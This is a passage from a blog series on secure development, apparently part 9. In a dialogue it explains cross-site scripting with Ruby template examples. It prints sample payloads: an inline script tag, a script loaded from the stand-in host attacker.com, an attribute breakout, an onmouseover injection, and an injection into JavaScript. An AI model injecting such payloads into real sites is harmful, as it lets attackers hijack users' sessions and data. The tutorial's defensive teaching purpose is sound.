March 10, 2009 - 20:02 UTC - Tags: craftsman security testing escaping xss cross site scripting
David grabbed the keyboard and jotted down two new examples.
"Here is the typical example you will find in any description of cross site scripting", he said.
"In this example the attacker has injected a script-tag and it's content directly in the page. If we move on to the next example..."
"...the attacker has injected a script tag pointing to a script on his own server. By using this technique the attacker can launch numerous other attacks, or change the attacks later, because he controls the contents of the script file."
"So these attacks appear when we are writing data in the page?", I asked.
"Yes. Script can be injected in three different places".
David grabbed the keyboard again, and wrote three different ruby samples.
"Now, the first example we've looked at already", David started. "The next one is also quite common. In this example the attacker can either close the tag or add a new javascript event to the tag."
"In the third example the attacker can inject the script directly into other javascript."
"In this example we are not really injecting HTML anymore, so blocking or escaping only characters like < and > wouldn't help. The same thing holds for the javascript event injection I just showed you."
Continue to part 10...
Go back to: Part 1, Part 2, Part 3, Part 4, Part 5, Part 6, Part 7, Part 8
Comments closed for this post
"Here is the typical example you will find in any description of cross site scripting", he said.
<div>You searched for '<script>alert('xss')</script>'</div>"In this example the attacker has injected a script-tag and it's content directly in the page. If we move on to the next example..."
<div>You searched for '<script src="http://attacker.com/attack.js"></script>'</div>"...the attacker has injected a script tag pointing to a script on his own server. By using this technique the attacker can launch numerous other attacks, or change the attacks later, because he controls the contents of the script file."
"So these attacks appear when we are writing data in the page?", I asked.
"Yes. Script can be injected in three different places".
David grabbed the keyboard again, and wrote three different ruby samples.
You searched for '<%= some_variable %>'<input name="searchterm" type="text"
value="<%= some_variable %>"><script>
var value="<%= some_variable %>";
</script>"Now, the first example we've looked at already", David started. "The next one is also quite common. In this example the attacker can either close the tag or add a new javascript event to the tag."
<input name="searchterm" type="text"
value=""><script>...malicious script...</script><""><input name="searchterm" type="tesxt"
value="" onmouseover="...malicious script...">"In the third example the attacker can inject the script directly into other javascript."
<script>
var value="";...malicious script...;var x = "";
</script>"In this example we are not really injecting HTML anymore, so blocking or escaping only characters like < and > wouldn't help. The same thing holds for the javascript event injection I just showed you."
Continue to part 10...
Go back to: Part 1, Part 2, Part 3, Part 4, Part 5, Part 6, Part 7, Part 8
About Erlend
Security guy with some thoughts on secure development.
Tag cloud
Categories
Blogroll
